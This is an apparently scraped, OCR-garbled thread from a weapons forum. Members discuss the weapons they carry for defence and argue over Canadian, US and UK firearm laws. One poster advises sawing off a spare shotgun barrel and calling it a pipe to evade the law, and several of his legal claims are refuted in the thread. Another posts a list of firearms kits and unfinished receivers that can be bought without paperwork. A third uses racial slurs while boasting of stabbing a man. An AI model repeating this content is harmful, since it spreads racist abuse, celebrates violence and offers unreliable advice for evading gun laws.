no detrim ental effect to the device. I guess that was their way of "proofing" it, but all it really says is that the one they shot the
flash in held, once.
But that is exactly what the Proof test is - a 30% overload to be sure.
If you don't like the way wikipedia says som ething, then re-word it. Just hit edit, and make your changes. It records your IP for
a few months if you haven't signed up, but so what? I n orm ally re-write the articles a bit to give them the b ias that I want
(everyone has a bias, concious or not) which is that it is the person not the item at fault, and motiveless victim less crim e s
should not be crimes.
Cobalt.45 July 3rd, 200 6, 05:05 PM

But that is exactly what the Proof test is - a 30% overload to be sure.
Proof houses ( as they relate to firearms, anyway) typically "overload" quite a lot more than 30%. I know of no proof houses
for salute m ortars. It was a good m ove on his part to overload and set off his device, though it m ight put the wrong idea into
s o m e dum b ass's head.
If th e 30% figure were right, why didn't Pyrocreations just load it with 650 gr of BP and call it good? He loaded it with 300gr o f
flash.
If you don't like the way wikipedia says som ething, then re-word it. Just hit edit, and make your changes. It records your IP for
a few months if you haven't signed up, but so what? I n orm ally re-write the articles a bit to give them the b ias that I want
(everyone has a bias, concious or not) which is that it is the person not the item at fault, and motiveless victim less crim e s
should not be crimes.
I'm g o i n g o n t h e a s s u m ption that this is just nothing more than "general Inform ation" for one and all. If it's directe d at m e ,
it's in error. I haven't visited the Wikipedia site in a while, and definitely not in regard to the salute cannon reply posted July 2,
8:52 PM.
The "rewriting" and "bias" and "victimless, motiveless crim es" parts- I ha ve absolutely no clue as to what the you're talking
about.
----
I t ' s a i m e d a t t h e O P. Take a look at the thread title! -JC

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > What Weapon?
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Czech Guy June 30th, 2006, 11:47 PM

I would like to know which if any weapons do you carry to defend yourself?
I live in a really bad area my weapon of choice so to speak is a ASP expandable baton. I like it because I fold it up keep it
above my belt under a jacket and with a flick of the wrist I have a 26 inch baton. I often carry a good folding knife as well.
The weapon that is most often used in bashings in my area is a trolley pole or a large chef knife. There are many punkass
teenagers who think they are "gangster" and start fights with people for the hell of it and I can tell you that the ASP baton has
saved my ass more than once. A lot of these "wannabee ganstas" have no real skill with what they are using so for someone
like me I have no real problem taking them on but many other are easy targets.
Before moving to this country, I was a security guard and then a personal body guard. I also severed in the army of 2 years
when I turned 18 as it was mandatory (Now it is only a year). I have trained and passed several knife defence and other
courses. When I first moved to Australia I ran a self defence training centre as well as a gym. But thats another story.
Please excuse my English as English is not my first langue but I think you can understand?
+++++++++
Apologizing for your english, or lack thereof, is a bannable offense, because we either understand what you are saying and
allow you to stay here, or you're banned because we can't.
The fact that you're still here is enough proof of your acceptance, so don't bring up the apologies again, otherwise you're
gone.
c.Tech July 1st, 2006, 07:57 AM

I live in a good area and usually always away from danger so there is no real need for me to carry a weapon.
Although there has been one time when somebody was out to get me, in fear of being jumped I carried a small Stanly knife
about 10cm long.
As I usually walk with my hands in my pockets, especially in winter, I formed a habit of holding it and pushing the blade out
on my pocket. This made me prepared for what could happen.
This would not have had much use in a fight but a few quick slashes if I was in trouble could deter my attacker (or so I think).
If I had a wide selection of weapons and needed to carry one for safety I would choose a concealed flick knife with a blade
around 8cm long.
Dank$taVegas July 1st, 2006, 11:24 AM

I have no real need to carry a weapon most of the time, as I live out in the boonies (country) but when I'm out in the bush
(Camping, 4x4ing, hiking) I carry either one of my Taurus Tracker series a .41 Magnum or .357 Magnum.
When I'm out hunting depending on the game I'm after I always take my .357 magnum straped to my hip for the extra
sto pping power accom panied with ..
Duck/Birds- Mossberg 500 magazine fed, manually operated (pump action) I did want to get this model with the factory pistol
grips & the short barrel "Cruisers" as they are known as, but due to the fact they are banned (Illegal) in Canada I had to
settle for a normal styled shotgun.
I have pondered the idea about picking up a cheap Mossberg 500 series and modifying the stock and barrel into a "Cruiser"
but the risks of getting caught with one of these is too great a risk for me.
Deer -Ed Brown Custom Model 702 in the .300 WMS Caliber. This is the best deer rifle out there, at least in my eyes. For the
$3500 USD price tag she is very nice.
Bear/Moose & Elk- Winchester 94 in .444 Marlin, some say its over kill, but there is a difference between hunting a bear &
Preventing the escape of a wounded bear or stopping an attack.
These are just my favorite pick of my s electio n of gun s I own . You wouldn't catch m e walking down a street with anything like
this thought. I try to keep my self clean most of the time. I do carry my .41 magnum in the glove box of my jeep under lock
and key when I'm out and about.
So I guess to answer your question for defense I carry either a .41 Magnum or a .357 Magnum. Also I usually have one of my
dogs with me, who I conceder a weapon, ones a 4year old male Doberman Pinscher Trained and titled with a SCH III (FH FHI-
Tracking) IPO III, 3 year old female Doberman Pinscher with a SCH II (FH) IPO II (working on getting my SCH III & IPO III
some time this summer with her). So they are both well trained attack/Guard/Tracking & companion dogs. So if I ever need
someone to watch my back I don't have to look too far. Both the dogs were trained my me & are both handled my myself.
Sausagemit July 2nd, 2006, 03:53 AM

I did want to get this model with the factory pistol grips & the short barrel "Cruisers" as they are known as, but due to the fact
they are banned (Illegal) in Canada I had to settle for a normal styled shotgun.
What about top folding stocks (http://www.atigunstocks.com/items/TFS0600.html). Are they illegal in Canada?
I also have a Mossberg 500c (20ga) and I bought a top folding stock with a pistol grip and a 18 1/2 inch barrel for. I have to
say, it's really fun to shoot slugs out of and you feel like a badass doing so. And if you shoot it one handed with heavy
enough shells it opens the breach and ejects the shell. One quick jerk in the downward direction and your ready to rock and
roll again. Theoreticly you could have one in each hand and never miss a beat!!!
I don't live in a bad neighborhood or anywhere close to one for that matter. But when i do go into a big city I allways have my
Ka-Bar (https://www.kabar.com/product_detail.jsp?
productNumber=1212&mode=category&categoryId=1,2,3,7&categoryName=Military/Tactical) with me in my car and sometimes
my Ruger Mark II .22 target pistol (gov model with the bull barrel). Which doesn't have even close to the stopping power of a
9mm but you can pump em full of so much lead so fast that they won't even know what hit them. You can fire 10 shots in
under 4 seconds and and hit center mass with every shot at 25-35 ft away.
And if things get too out of hand I allways have my AK-47 :D .
Dank$taVegas July 2nd, 2006, 07:24 AM

What about top folding stocks. Are they illegal in Canada?
Now I'm very disappointed.... I'm hurt the gun dealer I obtained my gun from neglected to mention this... From what I have
read, they seem to fall into the "Restricted Firearm" category. I for one have never seen one at a gun show/swap meet, gun
shop, or at the range. I'm going to have to look into this a little more and see what I can find out.
The Mossberg 500 is an awesome shot gun, one of my best ones, hence why I listed that one in the post. and none of the
others.. The rest just collect dust in the safe.
I'd trade the Mossberg 500 for a Franchi SPAS 12 shotgun #3 on Canada's Prohibited list... Hell I'd own one if I ever got the
chance to buy it! That's one of the best shotties out there in my eyes. well not that good for what I use the Mossberg for the
SPAS 12 is more of a tactical shotgun
n. :D
Here is a list of Prohibited Shotguns in Canada.
Former Prohibited Weapons Order, No. 11

3. The firearm of the design commonly known as the Franchi SPAS 12 shotgun, and any variant or modified version of it,
including the Franchi LAW 12 shotgun.
4. The firearm of the design commonly known as the Striker shotgun, and any variant or modified version of it, including the
Striker 12 shotgun and the Streetsweeper shotgun.
5. The firearm of the design commonly known as the USAS-12 Auto Shotgun, and any variant or modified version of it.
6. The firearm of the design commonly known as the Franchi SPAS-15 shotgun, and any variant or modified version of it.
7. The firearms of the designs commonly known as the Benelli M1 Super 90 shotgun and the Benelli M3 Super 90 shotgun,
and any variants or modified versions of them, with the exception of the
(a) M1 Super 90 Field;
(b) M1 Super 90 Sporting Special;
(c) Montefeltro Super 90;
(d) Montefeltro Super 90 Standard Hunter;
(e) Montefeltro Super 90 Left Hand;
(f) Montefeltro Super 90 Turkey;
(g) Montefeltro Super 90 Uplander;
(h) Montefeltro Super 90 Slug;
(i) Montefeltro Super 90 20 Gauge;
(j) Black Eagle;
(k) Black Eagle Limited Edition;
(l) Black Eagle Competition;
(m) Black Eagle Slug Gun;
(n) Super Black Eagle; and
(o) Super Black Eagle Custom Slug.
8. The firearms of the designs commonly known as the Bernardelli B4 shotgun and the Bernardelli B4/B shotgun, and any
variants or modified versions of them.
There are some loop holes that people may take to collect these kind of gun, but for the average person it's not very likely,
and all the paper work that is involved, the rights you wave in order to have the right to own this type of gun (no knock
searches etc)
And if things get too out of hand I allways have my AK-47

Sweet!!! Guess you would not be moving to Canada, if you do you will have to get rid of that one order #13 #64
Former Prohibited Weapons Order, No. 13
64. The firearm of the design commonly known as the AK-47 rifle, and any variant or modified version of it except for the
Valmet Hunter, the Valmet Hunter Auto and the Valmet M78 rifles, but including the
Every other Ak related gun except the ones listed above. :mad:
I never really noticed how strict Canada is with "Gun Control" untill I was searching this site for another post... Kind of makes
me sick to look at hundreds of guns that are banned here in Canada.:(
Quotes taken from:

http://laws.justice.gc.ca/en/C-46/SOR-98-462/82866.html#rid-82885
Sausagemit July 2nd, 2006, 02:27 PM

I doesn't look like ATI top folding stocks are banned, check this out.
http://www.marstar.ca/ac-ATI/ATI-shotgun.shtm
Quite a bit more expensive then here in the states (about $30-$40 more after the exchange rate) but still purchaseable by a
normal person.
A short barrel might be hard to come by in Canada but there is a solution!! Get a cheap barrell and a hacksaw. And allways
carry it with your long barrel on it and the sawed-off one in the same case. I don't think they can do anything about that
seeing as how shotgun barrels are not serialized. You can say it's just a piece of pipe and nothing more. Then when you want
to shoot it with the short barrel just swap em out.
Is yours pluged (limited to three shells)?

I doubt any cop is dumb enough to believe that the 12g pipe in your shotgun bag is a pipe and nothing more, since it will
have both lugs and threading, as well as gunshot residue inside it. Think before you post such things.
As regards moaning about Canadian firearms banning specific firearms, that's the best way! (from our point of view) You build
your own, and it is legal. The UK simply defines everything as broadly as possible, and that is that. Banned with no exceptions
and no ways around it.
Sausagemit July 4th, 2006, 03:39 PM

I doubt any cop is dumb enough to believe that the 12g pipe in your shotgun bag is a pipe and nothing more, since it will
have both lugs and threading, as well as gunshot residue inside it. Think before you post such things.
Whoops, forgot about the smokeless powder residue. I would suppose if they found powder residue in there they could link it
to the gun and say that you have been using it.
But if it's not attached to the gun it is just a pipe. Because most all shotgun barrels don't have rifling and are thus non-
serialized. So it's not gun specific or registerable.
Every firearm you buy that has rifling is registered by the serial number stamped on the barrel. If you buy just a barrel for a
gun with rifling, it will go under your name as owning another firearm. And can't be shipped directly to your house (has to be
shipped to a licensed FFL dealer in the US).
Seeing as how most of them don't have rifling, they are not registerable and does not require a FFL to sell or receive a non-
rifled shotgun barrel and when not attached to the gun is just a pipe. There is not a thing a cop can do except get mad and
detain you while they look for matching powder residue in the "pipe" and breach.
At least that s h ow it works in the US.
The only problem with sawing the end off of a shotgun barrel is it doesn't have a choke or threads to put one in, giving you a
very wide patern and thus not as effective over longer distances and also can create an erratic pattern. And a shorter barrel will
affect your range too. I have a full choke on my 18 1/2 inch barrel and it spreads more than the improved cylinder choke I
currently have on my 26 in barrel.
And also, a Mossberg 500 with a top folding stock and an 18 1/2 in barrel is 26 1/2 in long, making it a restricted firearm in
Canada. So as long as you have the proper license, you can make your own no problem.

Is yours pluged (limited to three shells)?
Yes it is, 4 one in the chamber. ;)
And also, a Mossberg 500 with a top folding stock and an 18 1/2 in barrel is 26 1/2 in long, making it a restricted firearm in
Canada. So as long as you have the proper license, you can make your own no problem.
I don't believe making your own with the use of a hacksaw is legal in Canada... Even if you have a "Restricted License"..
Modifying any type of gun with a hack saw be it stock or barrel is highly illegal in Canada if your caught. I could order a shorter
barrel and keep it legal but not by hacking it off with a hack saw..
My barrel is a 28" version and for what I use it for works wonders, and would be a waste to modify.
And surly if you were pulled over by a cop with a sawed off barrel in the same case as the shotgun he would put 2 and 2
together, and I'm sure they would find something to charge you with. That would most likely lead to the offender losing his
gun licenses & all his guns etc.
For me if I want to get a shorter barrel and a folding stock I might as well do it the legal way and spend the $$$ & fill out all
the paper work. Better than lossing all my shit for some stupid reason.
Seeing as how most of them don't have rifling, they are not registerable and does not require a FFL to sell or receive a non-
rifled shotgun barrel and when not attached to the gun is just a pipe.
But when you register a gun, you have to fill out all the specifics of the gun, i.e.: Barrel length etc. Not sure about in the U.S
and other Countries though.
You build your own, and it is legal
What do you mean...If you don't get caught?
I was reading on that website about gun laws here in Canada, and was shocked to find out you can be charged if your caught
making a Receiver for a gun, and you haven't filled out the proper paper work.
gunsmoke July 4th, 2006, 09:50 PM

For personal protection I carry a S&W model 60 .38 in a ankle rig or a Kel Tec P3at 380 Keep a springfield Xp 9mm in the car
Cobalt.45 July 5th, 2006, 02:27 AM

shipped to a licensed FFL dealer in the US)
Is this a state law? IIRC, barreled actions and receivers require an FFL. Frames, stocks, barrels are non- FFL items. None of
my weapons have serialized barrels, although two do have the last three digits of the S/N to show that the gun is assembled
with its original parts.
There always seems to be exceptions to the rule, this is why I ask.

minty July 5th, 2006, 03:41 AM
I usually carry a switch blade in my back pocket, but most of the time I carry a baseball bat and say I have baseball practice.
Baseball bats work wonders.
Docca July 5th, 2006, 06:54 AM

There always seems to be exceptions to the rule, this is why I ask.
Sausagemit is the exception to the rule, I predict he's going to have about the half life of I-133 on this forum. He's already
been advised by a moderator to "think before he posts", and less than 24 hours later he's spewing misinformation...
But if it's not attached to the gun it is just a pipe
Wrong. BATF treats possession of a short barrel and a weapon it will fit as "intent to manufacture", and they will prosecute.
Every firearm you buy that has rifling is registered by the serial number stamped on the barrel
Wrong. Precious few barrels have serial numbers - Mostly high end stuff. Some have part numbers, some have drawing
numbers, some may have markings to indicate who did the headspacing on it, very few have serial numbers.
If you buy just a barrel for a gun with rifling, it will go under your name as owning another firearm
Wrong. There is no tracking of rifled barrels in the U.S.
And can't be shipped directly to your house (has to be shipped to a licensed FFL dealer in the US)
Wrong - Rifled barrels are perfectly legal to ship interstate U.S. They ship to residences in 50 states daily.
At least thats how it works in the US
Wrong. Sausagemit hasn't a clue about U.S. federal gun laws.
If he keeps posting misinformation he's sure to be fed upon...
TreverSlyFox July 5th, 2006, 08:24 AM

Sausagemit,
shipped to a licensed FFL dealer in the US).
Sorry, but this is NOT true. Under Federal Law the "Receiver" is the weapon and is the ONLY part of a weapon that is registered
and must be transfered through an FFL holder in the U.S. on a Form 4473.
I have 3 "Parts Kits" sitting in my dinning room (entire weapons except the "receiver"). A Romanian AK-47 in 7.62x39, A STEN
MKIII in 9x19 and an FN-FAL in 7.62x51. All were bought over the internet, without any "paperwork" and shipped directly to my
home and all of them included "rifled barrels".
I also have a 1972 East German MAKAROV 9x18 Pistol that I bought a .380 barrel for over the internet that was shipped
directly to my home. NONE of these purchases required an FFL or ANY paperwork.
You can even buy "receivers" over the internet, if they are 100% finished they must go through an FFL on a Form 4473. But if
they are 80% receivers (machine work must still be finished and/or holes drilled) they can be bought and shipped directly to
you without ANY paperwork involved.
You can buy receiver "flats" (You have to bend them, rivet, weld or screw them togeather and heat treat the holes) for the AK-
47/AK-74 from TAPCO for $14.95 with rails.
The "receiver" for a STEN MKI through MKV is nothing more than seamless tubing about 18" long with some slots cut in it and
the "old" magazine well and trigger housing welded over a couple of the "holes", the barrel and trunion riveted or welded in
place and the "end cap" mounted. The proper tubing can be purchased that has a "cutting template" glued on the tubing over
the internet.
Currently you can purchase Parts Kits and 80% receivers for: M-16/M-4/AR-15, FN-FAL (both metric and inch type), AK-47/AK-
74/PSL/Dragunov, M-14/M1A1, STEN MK I, II, III, IV, V and Sterling, 1911/1911A1, Sig 220, 225, 226 and 229, M-1919A1-4,
M2HB, M-60, PPSH, UZI, Thompson 1928A1, French MAS-38, and VZ-58. These are the "Parts Kits" and 80% "receivers" that
I've run across, there may well be more out there that can be purchased and sent directly to your home in the U.S.

Sausage, I'm not going to ban you, I'll leave it down to NBK to see if he thinks you are too dumb to live. It doesn't look good,
though.
Everyone else, thank you for clearing up the true state of US spare barrel law. I'm now very jealous! Over here, a spare barrel
has to be listed on FAC as a new gun, and you have to argue a whole lot to get two of the same calibre now, plus pay a fee to
have it added. I so want to emigrate!

Sorry, but this is NOT true. Under Federal Law the "Receiver" is the weapon
I have been to many E&W site on the internet (most were a waste of my time) and on many of these places I have been told
that a Receiver was not considered a weapon and did not need to be registered and things like; if you get caught making a
receiver or if you get caught with a receiver just say it's for a toy etc; but that was far from the truth. After reading and
inquiring about this on the Canada Fire Arms Center's page & phone line, it is conceded a weapon and must be registered
along with any barrel (Canadian Laws/Not sure about other countries); they must also be shipped to a licensed dealer for pick
up. All other components of a gun are not classified as a weapon (here in Canada) and there is no need to declare or register
them and they can be shipped directly to you place of residents.
This is one thing I really like about this site and I'll say it again, all the knowledgeable people who step up and try to provide
the correct information for all the forum member. This is what makes this place such a good place to gather your information.
On another note, I'm sure the U.S and other countries have a official website that can be searched for, that will contain all the
correct information about Firearm laws etc.. I'll do a search later today and post my findings for the U.S & the U.K, if anyone
needs any other countries let me know or post links. These pages are usually very informative and very useful to anyone who
is interested in firearms & firearms laws for their country or other countries.
Is this a state law?

I'm no expert with the U.S gun laws not even with Canadian gun laws, but here in Canada some provinces have more laws
restricting different aspects of gun laws.. So it is possible (?) that a barrel will need to be registered in certain states...
Well you guys from the U.S with all your fancy guns and toys are making me very jealous too. I wish I had 3 parts kits sitting
on my dinning room table. :p

I'm sorry about the gross misinformation that I presented earlier but I was told this information by a local FFL dealer (a friend)
who only has his FFL license so he can engrave guns. I realize now that it was probably not the best source of information.
And this misinformation was further compounded by the fact that the only SN on my Ruger Mark II is on the barrel and you
have to have a FFL to receive a barrel for this gun and you have to register it as another firearm. And from what I can tell it's
one of the few firearms that you have to do that with. (Edit: It has a barreled action, which Cobalt .45 mentioned eirler as
requireing a FFL to recieve)
Ruger MkII replacement top end (http://www.brownells.com/aspx/ns/store/productdetail.aspx?p=13858)
But on a Ruger MkII, the barrel also contains the entirety of the action/breach/bolt. And the receiver is completely separate
and does not require a FFL to obtain or sell.
TreverSlyFox, what model of Romanian AKM-47 do you own/are currently building. Because I currently own an SAR-1 and I
absolutely love the thing. It's extremely reliable, has little or no triggerslap with the stock disconnector/fire control group, AK
furniture will bolt right on, and it's actually quite accurate for an AK variant.

But on a Ruger MkII, the barrel also contains the entirety of the action/breach/bolt. And the receiver is completely separate
and does not require a FFL to obtain or sell.
The barreled receiver is the only FFL required part of the gun. Are you confusing the grip frame with the receiver? The grip
frame isn't an FFL part, receiver/ barrel IS.
The Ruger Mk II, as well as all the Mk series pistols are VERY simple weapons. That's not to say they are low quality, but "one
of the most complicated handguns out there"?
I hope this serves to clarify things a little. But somehow, I doubt it will.
Sausagemit July 6th, 2006, 06:45 AM

The Ruger Mk II, as well as all the Mk series pistols are VERY simple weapons.
Have you ever taken one completely apart and put one back together? If you do you better spare yourself a couple of hours
and a very large headache.
Yes it is a fairly simple handgun in pricipal, but once you start taking it apart it becomes a whole different story. That's what I
was referring too as being complicated.
Without two or three weeks to play with the jigsaw puzzle of parts lying before me, I handed the remaining pieces to Marc
and said, "Have fun." Having managed his own custom shop, Marc has assisted more than a few customers who entered his
shop with a bag full of MKII pa rts . . . he s b ecome quite an expert putting the little target guns back to gether.
As quoted from Brownells (http://www.brownells.com/aspx/NS/GunTech/NewsletterArchive.aspx?p=0&t=1&i=495) website
And also check out this (http://www.1bad69.com/ruger/field_strip.htm) and this (http://www.1bad69.com/ruger/internals.htm)

website for a complete teardown and rebuild!!
The grip housing holds the sear, hammer, and the trigger and can function independently of the bolt and barrel and can still
function as a firearm, so wouldn't it be by a normal gun definition as the receiver? Nope, not for guns with barreled actions. I
might as well just shoot myself in the foot so NBK can smell the blood and find me easier.
I am not having a good day, or week for that matter. I will put myself in timeout for a couple of weeks and return hopefully
without the stupidity that you guys/girls have seen here in the past couple of days.

I am not having a good day, or week for that matter. I will put myself in timeout for a couple of weeks and return hopefully
without the stupidity that you guys/girls have seen here in the past couple of days.
Ok, I submitted a reply to Cobalt.45's first post before TreverSlyFox's first post, ramming Sausagemit for "spewing
misinformation". I'm not complaining about the moderation here, I just no longer want to have that posted after most of his
mistakes have been pointed out, and apologies and explanations have been handed out.
I, for one, was not aware that Ruger MK2s had the serial number on the barrel. I've shot them, cleaned them, but I don't own
one so I'm not an expert on those. I'm mostly a rifle guy.
If you do you better spare yourself a couple of hours and a very large headache.
This is true. You'll probably be needing the manual to get it apart and to put it back together - I did.
All of this is not to excuse his misinformation (the mods know I slammed him immediately), but in consideration of the
apology and explanations offered, Sausagemit might turn out ok (if he stops parroting misinformation).
The only thing I addressed in my first post that has yet to be addressed here:
But if it's not attached to the gun it is just a pipe.
Wrong. In the U.S. it's commonly prosecuted as "intent to manufacture" (that is, if the barrel is shorter than 16"). It's a
federal felony.
To measure the BATF way - Cut a 16' wooden dowel, close the bolt on an empty chamber. If the dowel can not be concealed in
the barrel you'd better have some approved federal paperwork.
nbk2000 July 6th, 2006, 08:35 AM

Docca, you forgot to mention what parts of the barrel are considered 'barrel' by BATF.
Does the flash hider count too? If not...you could have the dowel completely enclosed, but still be an inch short because of the
flash hider, thus constituting an illegal short rifle.
Look what they did to Randy Weaver over half an inch. :mad:
2112 July 7th, 2006, 12:30 AM

Any permanent attachments to the end of the barrel like a flash suppressor or muzzle brake would count toward the total
length of the barrel, but also, do not forget that a rifle also has a minimum overall length. Here are two links:
ATF response to making a short riffle (http://www.cs.cmu.edu/afs/cs/usr/wbardwel/public/nfalist/atf_letter56.txt)
Ruling on what constitutes part of the barrel length (http://www.cs.cmu.edu/afs/cs/usr/wbardwel/public/nfalist/rr_55570.txt)

Without two or three weeks to play with the jigsaw puzzle of parts lying before me, I handed the remaining pieces to Marc
and said, "Have fun." Having managed his own custom shop, Marc has assisted more than a few customers who entered his
shop with a bag full of MKII pa rts . . . he s b ecome quite an expert putting the little target guns back to gether.
This assessment of the "complexity" of the Mk II is nothing short of ridiculous! Hell, give a decent 'smith that long and he'll
whittle you one from billet.
I admit that it's been years since I've had the occasion to handle a Ruger .22, and it was a Mk I. However, we are talking of
the same basic gun. Just because it might look daunting to you, all those itsy- bitsy stamped parts and all, it is a simple gun.
Or, should I say, "It's simply a gun"?
If I couldn't tear that thing to it's last piece and reassemble it (as could ANY gun hobbyist with experience) in an hour- at the
outside- I'd hang up my Cerrosafe and my headspace gages and go sit in the corner!
The grip housing holds the sear, hammer, and the trigger and can function independently of the bolt and barrel and can still
function as a firearm, so wouldn't it be by a normal gun definition as the receiver? Again, quoted from Sausagemit
How is it gonna "still function as a firearm" with no barreled receiver?
This isn't what I enjoy, all this back and forth shit that seemingly has no end. This is my last post on the subject.

It's the same in the UK, you count any permanent attachments as part of the barrel length. The limit here for a shotgun is 24"
and for it not to be a (banned) pistol it must be over 30cm barrel length and 60cm overall. This has lead to a court case
regarding barrel shrouds, etc. which was resolved to allow them if they were permantly attached.
One option is obvious, (Google cache) http://images.google.com/imgres?imgurl=http://www.donsroom.co.uk/~feek/shooting/

taurus/lbr_small.jpg&imgrefurl=http://www.practicalpistoluk.com/ubbthreads/
showflat.php%3FCat%3D%26Number%3D6032%26Main%3D599
6&h=230&w=600&sz=60&hl=en&start=6&tbnid=dXHgms5NkoHKBM:&tbnh=50&tbnw=133&prev=/
images%3Fq%3Dlong%2Bbarreled%2Bpistol%2Buk%26svnum %3D10%26hl%3Den%26lr%3D%26sa%3DG
which is just a really long barreled revolver. The other is less gun-looking, http://www.targetshooting.ca/graphics/equip-guns/
pardini/pardini_uk_fp.jpg
EOD July 8th, 2006, 03:06 PM

I have no need to carry a weapon but I exercise my right to carry on every day. I usually have a Colt 1991A1 Compact.
tmp July 9th, 2006, 01:51 AM

This is the definition I found on the Government Printing Office's website
defining what is an NFA weapon as of April 1, 2006:
Firearm. (a) A shotgun having a barrel or barrels of less than 18

inches in length; (b) a weapon made from a shotgun if such weapon as
modified has an overall length of less than 26 inches or a barrel or
barrels of less than 18 inches in length; (c) a rifle having a barrel or
barrels of less than 16 inches in length; (d) a weapon made from a rifle
if such weapon as modified has an overall length of less than 26 inches
or a barrel or barrels of less than 16 inches in length; (e) any other
weapon, as defined in this subpart; (f) a machine gun; (g) a muffler or
a silencer for any firearm whether or not such firearm is included
within this definition; and (h) a destructive device. The term shall not
include an antique firearm or any device (other than a machine gun or
destructive device) which, although designed as a weapon, the Director
finds by reason of the date of its manufacture, value, design, and other
characteristics is primarily a collector's item and is not likely to be
used as a weapon. For purposes of this definition, the length of the
barrel having an integral chamber(s) on a shotgun or rifle shall be
determined by measuring the distance between the muzzle and the face of
the bolt, breech, or breech block when closed and when the shotgun or
rifle is cocked. The overall length of a weapon made from a shotgun or
rifle is the distance between the extreme ends of the weapon measured
along a line parallel to the center line of the bore.
Hope this helps.

Docca, you forgot to mention what parts of the barrel are considered 'barrel' by BATF
This is true. I failed to completely document there, mostly because I was more immediately interested in refuting bad info
than giving out instructions.
Looks like 2112 covered me there, but just to ensure everything is painfully clear...
A muzzle brake or flash hider, if permenantly attached by silver solder (or something more permanent) counts toward the total
length. Loc-Tited screw-on flash hiders do not satisfy U.S. requirements.
tmp's reference is very good - It's been so long since I thought about shortening a shotgun that I'd forgotten they have to be
18" in the U.S.
So for those keeping score (in the U.S.)... for rifles your barrel assembly must consume a 16" dowel (closed bolt), for
shotguns it's an 18" dowel, AFAIK there are no barrel length requirements on pistols...
give a decent 'smith that long and he'll whittle you one from billet
Oh, pleeeeeease...
If I couldn't tear that thing to it's last piece and reassemble it (as could ANY gun hobbyist with experience) in an hour- at the
outside- I'd hang up my Cerrosafe and my headspace gages and go sit in the corner!
If you can field strip it, thoroughly clean it, reassemble + lube it in an hour I've got a great mail order gun cleaning idea for
you.
(it probably requires a federal license)...
Tectonic August 9th, 2006, 02:18 AM

I live in one of the best parts of my city, but I am a cyclist, and some of my routes lead me through or near the ghetto, or
otherwise bad areas of town. Typically a group of niggers will give chase when I am riding my BMX for a little fun, as I can only
get to about 15 MPH on it, so I bring my Ka Bar, positioned horozontally on my belt. :)
Usually I can draw it and just scare them, sometimes I have had to use it though. Once upon a time, I was riding minding my
own business, and a nigger came up to me demanding my bike. Came at me like a train, I pulled my knife and his dumbass
ran into it and began screaming, that's when I left the scene. No sense in helping the nigger. :D
On my road bike though, I don't need it but I bring it anyway, I can usually reach speeds of 32 MPH on flats.. Downhill as
much as 50 and 60 sometimes. :eek:
Rarely do I need to use it. Though, there are times when it comes it handy, and I'm prepared to use it. Once I am 21, I'll be
carrying a Springfield .45 ACP XD. :cool:
Isotoxin August 9th, 2006, 04:50 PM

I used to carry a Kershaw Blackout at 6oclock on my belt but I used the blade to pry:rolleyes: and now it is no good(obviously)
So I have taken to carrying a small carabiner that is a LED flashlight and practicing a simple "flash and punch" drill that I think
would be somewhat effective. I don't go into bad areas so this is fine I think.
I am thinking about using NBK's idea of wearing or sewing kevlar sleeves into some of my shirts for slash protection. What
would be even better would be to try and make some of that "liquid armor"(shear hardening liquid) and then inpregnated the
sleeves with that and case it in shrinkwrap for stabbing and slashing protection(and perhaps even impact to the elbows and
forarm)
Watch your 6!
30yearstoolate! August 11th, 2006, 01:41 AM

My home defense weapon is a four foot length of shovel handle that I discovered in my closet when I moved into my
apartment.
My semi-concealed portable defense is a M-Tech tactical folder. The blade is roughly four inches and has been honed razor
sharp. [The knife can shave the hair off my arm.]
Also in my apartment I have a .22 caliber pellet rifle for detering vermin near the garbage cans behind the building. It will blow
clean through a large rat at 15 yards. I have also used it to kill a raccoon with a headshot. It pierced the skull at 5 yards. The
raccoon twitched and writhed for a moment before I killed it with the walnut stock. I like a tough stock.
Tecktonic, what does a Springfield .45 ACP XD have for groups at roughly fifty yards?
rollinground August 12th, 2006, 10:29 AM

I live in england and were not allowed to carry weapons for self defense.
See england is suppose to be a safe place, and if we get into trouble the police will help!! So if I carried anyting at all and was
stopped and asked why I had it and I said for self defense I would be breaking the law. We are allowed horns to scare of
attackers and thats about it.
So heres my experiance in my teenage years of not needing to carry any sort of self defense weapon and the police always
helping at the right time ;)
I had my first gun pulled on me when I was only 14 - I was trying to be robbed, I was stabbed at 15, beaten by 20 people with
bats, glasses and whatever else they had to hand at the age of 16 for no reason except they were drunk and wanted a fight, a
friend was stabbed and it got him in the liver when we were 16, he was serioulsy ill and could have died.
I was beaten over the head with a ash tray at 17, glassed again at 18, glassed 3 times at 19.
I was pepper sprayed whilst trying to help a friend who was fighting 4 big blokes who set upon him for knocking into one of
them and spilling their drink, had two occasions when had knifes pulled on me in fights at 19.
At 20 I didnt get any serious injurys, but I had several friends who did, two were hospitalised after a fight, started out 3 of us
against 6 of them fist on fist they ended up worse off. 10 minutes later about 15 more of them turned up with knifes and
bottles and my other two mates got beaten and bottled very badly they were both out cold and were then had their heads
stamped on, they were put in hospital.
This took place in a bar with loads of witnesses and out of all these incidents is the only one that went to court. The police
didnt show up until we were at the hospital.
A girl I was with was trying to break a fight up between us and some drunks and she got glassed.
A friends cousin got shot dead with a shotgun.
Im forever hearing stories about so n so getting stabbed beaten and even the occasional kidnap.
So sorry for the autobiography but I think the point is quite clear, the world is not a safe place, and the UK is not safer due to
the law not allowing citizens to own weapons for self defense. I would say its far more dangerous, if people thought that the
person they were about to attack for no reason may be armed they might think twice about setting upon them for fun.
The police have never done anything except try to arrest us for fighting when we were defeding ourselves. I dont see why we
as a nation should be told to have faith in the police and not be allowed to do anything to protect ourselves or family. If you
are found to be carrying a knife you will be arrested, if you are carrying a gun you will get a minimum 5 year sentance.
We are suppose to be a free society but we cant even legally protect ourselves, the country is very fucked up.
Anyway, if I COULD carry a weapon I would carry a berreta tom/bobcat, model 950 or cheeta.
I love the little berreta pocket pistols with the tip up barrels.
+++++++=
Your grammar is painful to behold. I corrected your i/I failure, but rapid improvement is your only hope of survival. NBK

Rollinground tells it like it is. Sadly.
We must be protected to death, even from ourselves! How did the country that spawned Churchill and so many other great
men wind up being run into the ground so rapidly by the police and Tony BLiar?
nbk2000 August 13th, 2006, 11:00 AM

Decades of being programmed into docile sheep has been effective.

I love the little berreta pocket pistols with the tip up barrels.
I've had two of these little gems in my day and both were very nice little "web-ripper" "pocket guns". One chambered the
.22LR and the other .25 ACP. Despite the size of the pistols, both were very high quality, and never had a jam from either...
unlike many other like-sized versions of the "bellygun" or "closet pistol" versions I've owned.
